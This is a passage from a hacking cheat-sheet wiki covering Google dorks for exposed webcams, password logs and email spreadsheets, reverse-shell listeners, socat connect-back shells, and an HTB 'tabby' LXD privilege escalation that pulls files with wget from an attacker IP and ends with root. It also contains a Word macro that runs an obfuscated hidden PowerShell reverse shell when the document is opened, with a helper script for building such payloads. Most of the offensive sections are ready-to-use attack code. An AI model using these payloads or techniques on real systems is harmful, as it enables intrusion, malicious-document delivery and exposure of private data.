# This command wil SSH to user git and push the changes to the remote server.&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GitLeaks - Scan repos for secrets ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/zricethezav/gitleaks&lt;br /&gt;
gitleaks detect --source . -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Google Dorking ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://dorksearch.com/&lt;br /&gt;
site:target[.]com ext:php inurl:?&lt;br /&gt;
site:target.tld intitle:&amp;quot;index of /&amp;quot; #  intitle:&amp;quot;index of /&amp;quot;: This searches for pages with “index of /” in their title. The “index of /” is typically shown in the title of directory listings on servers where directory browsing is enabled. It allows you to see a raw directory of files hosted on a server.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search operators ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/chr3st5an/Google-Dorking GitHub - chr3st5an/Google-Dorking: Google Dorking Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Operator&lt;br /&gt;
! Description&lt;br /&gt;
! Syntax&lt;br /&gt;
! Example&lt;br /&gt;
|-&lt;br /&gt;
| ()&lt;br /&gt;
| Group multiple terms or operators. Allows advanced expressions&lt;br /&gt;
| (&amp;lt;term&amp;gt; or &amp;lt;operator&amp;gt;)&lt;br /&gt;
| inurl:(html | php)&lt;br /&gt;
|-&lt;br /&gt;
| *&lt;br /&gt;
| Wildcard. Matches any word&lt;br /&gt;
| &amp;lt;text&amp;gt; * &amp;lt;text&amp;gt;&lt;br /&gt;
| How to * a computer&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;&amp;quot;&lt;br /&gt;
| The given keyword has to match exactly. case-insensitive&lt;br /&gt;
| &amp;quot;&amp;lt;keywords&amp;gt;&amp;quot;&lt;br /&gt;
| &amp;quot;google&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| m..n / m...n&lt;br /&gt;
| Search for a range of numbers. n should be greater than m&lt;br /&gt;
| &amp;lt;number&amp;gt;..&amp;lt;number&amp;gt;&lt;br /&gt;
| 1..100&lt;br /&gt;
|-&lt;br /&gt;
| -&lt;br /&gt;
| Documents that match the operator are excluded. NOT-Operator&lt;br /&gt;
| -&amp;lt;operator&amp;gt;&lt;br /&gt;
| -site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| +&lt;br /&gt;
| Include documents that match the operator&lt;br /&gt;
| +&amp;lt;operator&amp;gt;&lt;br /&gt;
| +site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| |&lt;br /&gt;
| Logical OR-Operator. Only one operator needs to match in order for the overall expression to match&lt;br /&gt;
| &amp;lt;operator&amp;gt; | &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; | &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ~&lt;br /&gt;
| Search for synonyms of the given word. Not supported by Google&lt;br /&gt;
| ~&amp;lt;word&amp;gt;&lt;br /&gt;
| ~book&lt;br /&gt;
|-&lt;br /&gt;
| @&lt;br /&gt;
| Perform a search only on the given social media platform. Rather use site&lt;br /&gt;
| @&amp;lt;socialmedia&amp;gt;&lt;br /&gt;
| @instagram&lt;br /&gt;
|-&lt;br /&gt;
| after&lt;br /&gt;
| Search for documents published / indexed after the given date&lt;br /&gt;
| after:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| after:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| allintitle&lt;br /&gt;
| Same as intitle but allows multiple keywords seperated by a space&lt;br /&gt;
| allintitle:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintitle:dog cat&lt;br /&gt;
|-&lt;br /&gt;
| allinurl&lt;br /&gt;
| Same as inurl but allows multiple keywords seperated by a space&lt;br /&gt;
| allinurl:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allinurl:search com&lt;br /&gt;
|-&lt;br /&gt;
| allintext&lt;br /&gt;
| Same as intext but allows multiple keywords seperated by a space&lt;br /&gt;
| allintext:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintext:math science university&lt;br /&gt;
|-&lt;br /&gt;
| AROUND&lt;br /&gt;
| Search for documents in which the first word is up to n words away from the second word and vice versa&lt;br /&gt;
| &amp;lt;word1&amp;gt; AROUND(&amp;lt;n&amp;gt;) &amp;lt;word2&amp;gt;&lt;br /&gt;
| google AROUND(10) good&lt;br /&gt;
|-&lt;br /&gt;
| author&lt;br /&gt;
| Search for articles written by the given author if applicable&lt;br /&gt;
| author:&amp;lt;name&amp;gt;&lt;br /&gt;
| author:Max&lt;br /&gt;
|-&lt;br /&gt;
| before&lt;br /&gt;
| Search for documents published / indexed before the given date&lt;br /&gt;
| before:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| before:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| cache&lt;br /&gt;
| Search on the cached version of the given website. Uses Google&#039;s cache to do so&lt;br /&gt;
| cache:&amp;lt;domain&amp;gt;&lt;br /&gt;
| cache:google.com&lt;br /&gt;
|-&lt;br /&gt;
| contains&lt;br /&gt;
| Search for documents that link to the given fileype. Not supported by Google&lt;br /&gt;
| contains:&amp;lt;filetype&amp;gt;&lt;br /&gt;
| contains:pdf&lt;br /&gt;
|-&lt;br /&gt;
| date&lt;br /&gt;
| Search for documents published within the past n months. Not supported by Google&lt;br /&gt;
| date:&amp;lt;number&amp;gt;&lt;br /&gt;
| date:3&lt;br /&gt;
|-&lt;br /&gt;
| define&lt;br /&gt;
| Search for the definition of the given word&lt;br /&gt;
| define:&amp;lt;word&amp;gt;&lt;br /&gt;
| define:funny&lt;br /&gt;
|-&lt;br /&gt;
| ext&lt;br /&gt;
| Search for a specific filetype&lt;br /&gt;
| ext:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| ext:pdf&lt;br /&gt;
|-&lt;br /&gt;
| filetype&lt;br /&gt;
| Refer to ext&lt;br /&gt;
| filetype:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| filetype:pdf&lt;br /&gt;
|-&lt;br /&gt;
| inanchor&lt;br /&gt;
| Search for the given keyword in a website&#039;s anchors&lt;br /&gt;
| inanchor:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inanchor:security&lt;br /&gt;
|-&lt;br /&gt;
| index of&lt;br /&gt;
| Search for documents containing direct downloads&lt;br /&gt;
| index of:&amp;lt;term&amp;gt;&lt;br /&gt;
| index of:mp4 videos&lt;br /&gt;
|-&lt;br /&gt;
| info&lt;br /&gt;
| Search for information about a website&lt;br /&gt;
| info:&amp;lt;domain&amp;gt;&lt;br /&gt;
| info:google.com&lt;br /&gt;
|-&lt;br /&gt;
| intext&lt;br /&gt;
| Keyword needs to be in the text of the document&lt;br /&gt;
| intext:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intext:news&lt;br /&gt;
|-&lt;br /&gt;
| intitle&lt;br /&gt;
| Keyword needs to be in the title of the document&lt;br /&gt;
| intitle:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intitle:money&lt;br /&gt;
|-&lt;br /&gt;
| inurl&lt;br /&gt;
| Keyword needs to be in the URL of the document&lt;br /&gt;
| inurl:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inurl:sheet&lt;br /&gt;
|-&lt;br /&gt;
| link / links&lt;br /&gt;
| Search for documents whose links contain the given keyword. Useful for finding documents that link to a specific website&lt;br /&gt;
| link:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| link:google&lt;br /&gt;
|-&lt;br /&gt;
| location&lt;br /&gt;
| Show documents based on the given location&lt;br /&gt;
| location:&amp;lt;location&amp;gt;&lt;br /&gt;
| location:USA&lt;br /&gt;
|-&lt;br /&gt;
| numrange&lt;br /&gt;
| Refer to m..n&lt;br /&gt;
| numrange:&amp;lt;number&amp;gt;-&amp;lt;number&amp;gt;&lt;br /&gt;
| numrange:1-100&lt;br /&gt;
|-&lt;br /&gt;
| OR&lt;br /&gt;
| Refer to |&lt;br /&gt;
| &amp;lt;operator&amp;gt; OR &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; OR &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| phonebook&lt;br /&gt;
| Search for related phone numbers associated with the given name&lt;br /&gt;
| phonebook:&amp;lt;name&amp;gt;&lt;br /&gt;
| phonebook:&amp;quot;william smith&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| relate / related&lt;br /&gt;
| Search for documents that are related to the given website&lt;br /&gt;
| relate:&amp;lt;domain&amp;gt;&lt;br /&gt;
| relate:google.com&lt;br /&gt;
|-&lt;br /&gt;
| safesearch&lt;br /&gt;
| Exclude adult content such as pornographic videos&lt;br /&gt;
| safesearch:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| safesearch:sex&lt;br /&gt;
|-&lt;br /&gt;
| source&lt;br /&gt;
| Search on a specific news site. Rather use site&lt;br /&gt;
| source:&amp;lt;news&amp;gt;&lt;br /&gt;
| source:theguardian&lt;br /&gt;
|-&lt;br /&gt;
| site&lt;br /&gt;
| Search on the given site. Given argument might also be just a TLD such as com, net, etc&lt;br /&gt;
| site:&amp;lt;domain&amp;gt;&lt;br /&gt;
| site:google.com&lt;br /&gt;
|-&lt;br /&gt;
| stock&lt;br /&gt;
| Search for information about a market stock&lt;br /&gt;
| stock:&amp;lt;stock&amp;gt;&lt;br /&gt;
| stock:dax&lt;br /&gt;
|-&lt;br /&gt;
| weather&lt;br /&gt;
| Search for information about the weather of the given location&lt;br /&gt;
| weather:&amp;lt;location&amp;gt;&lt;br /&gt;
| weather:Miami&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Finding Valuable Information ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intitle:&amp;quot;webcamXP 5&amp;quot; | inurl:&amp;quot;lvappl.htm&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find open/public webcams&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:password ext:log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find log documents wich have the string &amp;quot;password&amp;quot; in it&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:/proc/self/cwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find vulnerable webservers&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:email.xls ext:xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find excel documents that contain email addresses&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
index of:mp3 intext:.mp3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find mp3 (music) documents&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:&amp;quot;index of /&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finding indexed files&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Listener ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ATTENTION&lt;br /&gt;
# Some target machines might block the port you&#039;ve choosen to use as listening port. If you dont get a connection, try changing the port to some standard ports like 80, 443, 445 etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Metasploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
use exploit/multi/handler&lt;br /&gt;
set PAYLOAD&lt;br /&gt;
set LHOST&lt;br /&gt;
set LPORT&lt;br /&gt;
set ExitOnSession false&lt;br /&gt;
exploit -j -z&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Listen on port&lt;br /&gt;
nc -lvnp&lt;br /&gt;
# Use rlwrap for better shell on Windows&lt;br /&gt;
rlwrap nc -lvnp&lt;br /&gt;
# Connect to port&lt;br /&gt;
nc -nv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Socat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic listener&lt;br /&gt;
socat TCP-L: -&lt;br /&gt;
# Windows connect back&lt;br /&gt;
socat TCP::&lt;br /&gt;
EXEC:powershell.exe,pipes&lt;br /&gt;
# Linux connect back&lt;br /&gt;
socat TCP:: EXEC:&amp;quot;bash -li&amp;quot;&lt;br /&gt;
# Encrypted shell - Basic listener&lt;br /&gt;
https://blog.aghanim.net/?p=1043#Socat_encrypted_shells&lt;br /&gt;
socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 –&lt;br /&gt;
# Connect back&lt;br /&gt;
socat OPENSSL::,verify=0 EXEC:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== LXD - Privilege escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
Step 1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# ls&lt;br /&gt;
alpine.yaml  lxd.tar.xz  rootfs.squashfs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
--2022-02-10 14:04:26--  http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 844 [application/x-xz]&lt;br /&gt;
Saving to: ‘lxd.tar.xz’&lt;br /&gt;
lxd.tar.xz          100%[===================&amp;gt;]     844  --.-KB/s    in 0s&lt;br /&gt;
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
--2022-02-10 14:04:36--  http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 2052096 (2.0M) [application/octet-stream]&lt;br /&gt;
Saving to: ‘rootfs.squashfs’&lt;br /&gt;
rootfs.squashfs     100%[===================&amp;gt;]   1.96M  4.02MB/s    in 0.5s&lt;br /&gt;
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine&lt;br /&gt;
ash@tabby:~$ lxc image list&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| ALIAS  | FINGERPRINT  | PUBLIC |              DESCRIPTION               | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| alpine | 9c716211a82e | no     | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64       | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
Error: No storage pool found. Please create a new storage pool&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fix no storage pool found with lxd init ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: hello&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]:&lt;br /&gt;
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:&lt;br /&gt;
Size in GB of the new loop device (1GB minimum) [default=5GB]:&lt;br /&gt;
Would you like to connect to a MAAS server? (yes/no) [default=no]:&lt;br /&gt;
Would you like to create a new local network bridge? (yes/no) [default=yes]:&lt;br /&gt;
What should the new bridge be called? [default=lxdbr0]:&lt;br /&gt;
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
Would you like the LXD server to be available over the network? (yes/no) [default=no]:&lt;br /&gt;
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]&lt;br /&gt;
Would you like a YAML &amp;quot;lxd init&amp;quot; preseed to be printed? (yes/no) [default=no]:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 5&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxc list&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
|  NAME   |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
| privesc | STOPPED |      |      | CONTAINER | 0         |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true&lt;br /&gt;
Device host-root added to privesc&lt;br /&gt;
ash@tabby:~$ lxc start privesc&lt;br /&gt;
ash@tabby:~$ lxc exec privesc /bin/sh&lt;br /&gt;
~ # id&lt;br /&gt;
uid=0(root) gid=0(root)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Macro ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Word ===&lt;br /&gt;
&lt;br /&gt;
Word file must be saved as .doc or .docm since they support embedded macro. .docx wont work.&lt;br /&gt;
&lt;br /&gt;
When transferring the .doc or .docm remember to either ZIP the dociment or use tftp, otherwise the macro might be lost.&lt;br /&gt;
&lt;br /&gt;
Remember to set Macro in the document, otherwise it will only work locally.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Open Word --&amp;gt; View --&amp;gt; Macro --&amp;gt; Show Macro --&amp;gt; Create&lt;br /&gt;
# The below script will send a reverse shell powershell command&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim Str As String&lt;br /&gt;
Str = &amp;quot;powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
Str = Str + &amp;quot;AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QA=&amp;quot;&lt;br /&gt;
CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run Str&lt;br /&gt;
End Sub&lt;br /&gt;
------------------------&lt;br /&gt;
# Script to generate Str = Str + payloads. Generate a payload with revshells.com and &#039;Powershell#3 Base64&#039;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/Reverse-Shell-From-Word-Document]&lt;br /&gt;
└─# cat payload.py&lt;br /&gt;
str=&amp;quot;powershell -e JABjAGwAaQBlAG4AdAAgAD...&amp;quot;&lt;br /&gt;
n=50&lt;br /&gt;
for i in range(0,len(str),n):&lt;br /&gt;
    print(&amp;quot;Str = str+&amp;quot; + &#039;&amp;quot;&#039; + str[i:i+n] +&#039;&amp;quot;&#039;)&lt;br /&gt;
&lt;br /&gt;
...................................&lt;br /&gt;
# The below script will ping target.&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run &amp;quot;Ping.exe -t 192.168.119.182&amp;quot;&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== LibreOffice Basic ===&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111937.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111909.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Make sure this macro is run when the document is opened. Close the macro editors, and back in the document, go to Tools –&amp;gt; Customize and select Open Document.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Title&lt;br /&gt;
! URL&lt;br /&gt;
! Short Description&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Monitor Processes ==&lt;br /&gt;
&lt;br /&gt;
=== Process Explorer ===&lt;br /&gt;
&lt;br /&gt;
